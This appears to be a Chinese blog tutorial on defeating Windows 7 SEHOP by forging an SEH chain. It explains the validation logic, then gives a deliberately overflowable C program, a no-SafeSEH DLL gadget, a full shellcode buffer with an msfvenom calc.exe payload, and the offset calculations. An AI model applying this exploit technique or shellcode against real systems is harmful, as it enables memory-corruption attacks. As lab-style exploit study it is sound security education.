1.1    SEHOP保护机制

1.1.1    SEHOP工作原理:

SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下:

BOOL RtlIsValidHandler(handler)

{

if (handler is in an image) {

if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)

return FALSE;

if (image has a SafeSEH table)

if (handler found in the table)

return TRUE;

else

return FALSE;

if (image is a .NET assembly with the ILonly flag set)

return FALSE;

// fall through

}

if (handler is on a non-executable page) {

if (ExecuteDispatchEnable bit set in the process flags)

return TRUE;

else

// enforce DEP even if we have no hardware NX

raise ACCESS_VIOLATION;

}

if (handler is not in an image) {

if (ImageDispatchEnable bit set in the process flags)

return TRUE;

else

return FALSE; // don't allow handlers outside of images

}

// everything else is allowed

return TRUE;

}

[...]

// Skip the chain validation if the

DisableExceptionChainValidation bit is set

if (process_flags & 0x40 == 0) {

// Skip the validation if there are no SEH records on the

// linked list

if (record != 0xFFFFFFFF) {

// Walk the SEH linked list

do {

// The record must be on the stack

if (record < stack_bottom || record > stack_top)

goto corruption;

// The end of the record must be on the stack

if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)

goto corruption;

// The record must be 4 byte aligned

if ((record & 3) != 0)

goto corruption;

handler = record->handler;

// The handler must not be on the stack

if (handler >= stack_bottom && handler < stack_top)

goto corruption;

record = record->next;

} while (record != 0xFFFFFFFF);

// End of chain reached

// Is bit 9 set in the TEB->SameTebFlags field?

// This bit is set in ntdll!RtlInitializeExceptionChain,

// which registers FinalExceptionHandler as an SEH handler

// when a new thread starts.

if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {

// The final handler must be ntdll!FinalExceptionHandler

if (handler != &FinalExceptionHandler)

goto corruption;

}

}

}

在程序转入异常处理前,SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数,如果是,则说明这条SEH链没有被破坏,程序可以去执行道歉的异常处理函数,如果检测到最后一个异常处理函数不是终极异常处理函数,那说明SHE链被破坏,程序将不会执行当前的异常处理函数。

1.1.2    SEHOP绕过思路:

作为SafeSEH强有力的补充,SEHOP检查是在RtlIsVaildHandler函数校验前进行的,也就是说之前我们绕过SafeSEH机制用到过的利用加载模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。

那么面对新的挑战,应该怎么办?

l  攻击返回地址或者虚函数

l  利用未启用SEHOP的模块

l  伪造SHE链

1.1.3    通过伪造SEHOP链绕过SEHOP保护机制

⑴.  原理分析:

SEHOP的原理就是检测SEH链中最后一个异常处理函数的指针是否指向一个固定的终极异常处理函数,那么,我们在在溢出是伪造一个SEH链,就可以绕过SEHOP了。

⑵.环境准备:

i.实验代码:

生成没有SafeSEH保护的dll文件的代码。

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)

{

return TRUE;

}

void jump()

{

__asm{

pop eax

pop eax

retn

}

}

生成没有ASLR和DEP保护的exe文件。

#include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2c\xFF\x12\x00"//address of last seh record

"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

"\x90\x90\x90"

"\xFF\xFF\xFF\xFF"// the fake seh record

"\x95\xe1\xbd\x77"

;

DWORD MyException(void)

{

printf("There is an exception");

getchar();

return 1;

}

void test(char * input)

{

char str[200];

//strcpy(str,input);

memcpy(str,input,460);

int zero=0;

__try

{

zero=1/zero;

}

__except(MyException())

{

}

}

int _tmain(int argc, _TCHAR* argv[])

{

HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module

char str[200];

//__asm int 3

test(shellcode);

return 0;

}

ii.测试环境:

测试平台:Windows 7 32位

注册表设置DisableExceptionChainVaildation值为0。

开启SEHOP保护机制。

编译环境:

编译器:visual 2008

exe文件:

关闭ASLR,DEP。

Dll文件:

不开启任何的保护机制。

⑶.调试分析:

i.查看缓冲区溢出前的SEH链:

得到,第一个异常处理函数指针为0x0012fe58,最终SEH链异常处理函数值为0x77bde195。

ii.确定缓冲区大小:

缓冲区从0x0012fd80开始,大小为0xd8=216字节。

iii.跳板地址:

还是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012

⑷.攻击过程:

i.计算溢出量:

我们的目的是用跳板地址覆盖函数返回地址以达到控制EIP的目的,是程序挑战到payload执行。

为什么不直接用payload的起始地址覆盖返回地址?

因为,exe文件的异常处理函数是有SafeSEH保护机制保护的,直接覆盖会报错的。而dll文件没有SafeSEH机制的保护,所以可以利用dll文件中的指令作为跳板,控制EIP。

溢出量 =异常处理函数指针–缓冲区起始地址= 0x0012fe58-0x0012fd80=216字节。

ii.伪造SEH链

为了绕过SEHOP保护机制,就应该伪造一个最终的异常处理函数,这个最终的异常处理函数应该符合以下要求:

l  伪造最终异常处理函数指针应该与真实的相同(0x77bde195)

l  伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF

l  SEH链指针地址应该能被4整除(SEHOP工作原理中介绍的验证函数中可以看到相关的判断)。

iii.生成payload

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

iv.构造shellcode

综上所述,shellcode结构如下:

v.执行攻击

成功。

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制的更多相关文章

  1. 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. Swift - 二进制,八进制,十六机制的表示方法

    当前位置: 首页 > 编程社区 > Swift > Swift - 二进制,八进制,十六机制的表示方法 Swift - 二进制,八进制,十六机制的表示方法 2015-01-23 14 ...

  4. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  5. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  6. 逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试

    GS简介: Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断 ...

  7. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  8. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

  9. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

随机推荐

  1. Java HashMap详细介绍和使用示例

    ①对HashMap的整体认识 HashMap是一个散列表,它存储的内容是键值对(key-value)映射. HashMap继承于AbstractMap,实现了Map.Cloneable.java.io ...

  2. CentOS系统下yum命令的详细使用方法

    yum是什么yum = Yellow dog Updater, Modified 主要功能是更方便的添加/删除/更新RPM包. 它能自动解决包的倚赖性问题. 它能便于管理大量系统的更新问题 yum特点 ...

  3. 20145328 《Java程序设计》实验五实验报告

    20145328 <Java程序设计>实验五实验报告 实验名称 Java网络编程 实验内容 用书上的TCP代码,实现服务器与客户端. 客户端与服务器连接 客户端中输入明文,利用DES算法加 ...

  4. KALI视频学习11-15

    KALI视频学习11-15 第十一集 看到openvas的主界面(web界面) ping靶机,看是否能正常连通 创建一个扫描目标Configuration-Targets,默认扫描目标为本机 添加一个 ...

  5. Java -D命令对应的代码中获取-D后面的参数 和 多个参数时-D命令的使用

    1. Java代码: public class TestDPara { public static void main(String[] args) { String flag = System.ge ...

  6. [BZOJ2599]Race

    Description 给一棵树,每条边有权.求一条简单路径,权值和等于K,且边的数量最小.N <= 200000, K <= 1000000 Input 第一行 两个整数 n, k 第二 ...

  7. Xcode Missing file的解决方案

    因为没在工程里面删除文件,导致Xcode报了一大堆警告,都是Missing file的警告,研究了一下,下面是我的解决方案: Missing file出现的原因 原因就是你在文件里面删除了文件,但是在 ...

  8. rocketmq事务消息

    rocketmq事务消息 参考: https://blog.csdn.net/u011686226/article/details/78106215 https://yq.aliyun.com/art ...

  9. harbor 管理Helm Chart包

    官方网站:https://github.com/goharbor/harbor官方用户手册:https://github.com/goharbor/harbor/blob/master/docs/us ...

  10. Java循环语句之 while

    生活中,有些时候为了完成任务,需要重复的进行某些动作.如参加 10000 米长跑,需要绕 400 米的赛道反复的跑 25 圈.在 Java 中实现功能时,也经常需要重复执行某些代码,例如,我们为了表示 ...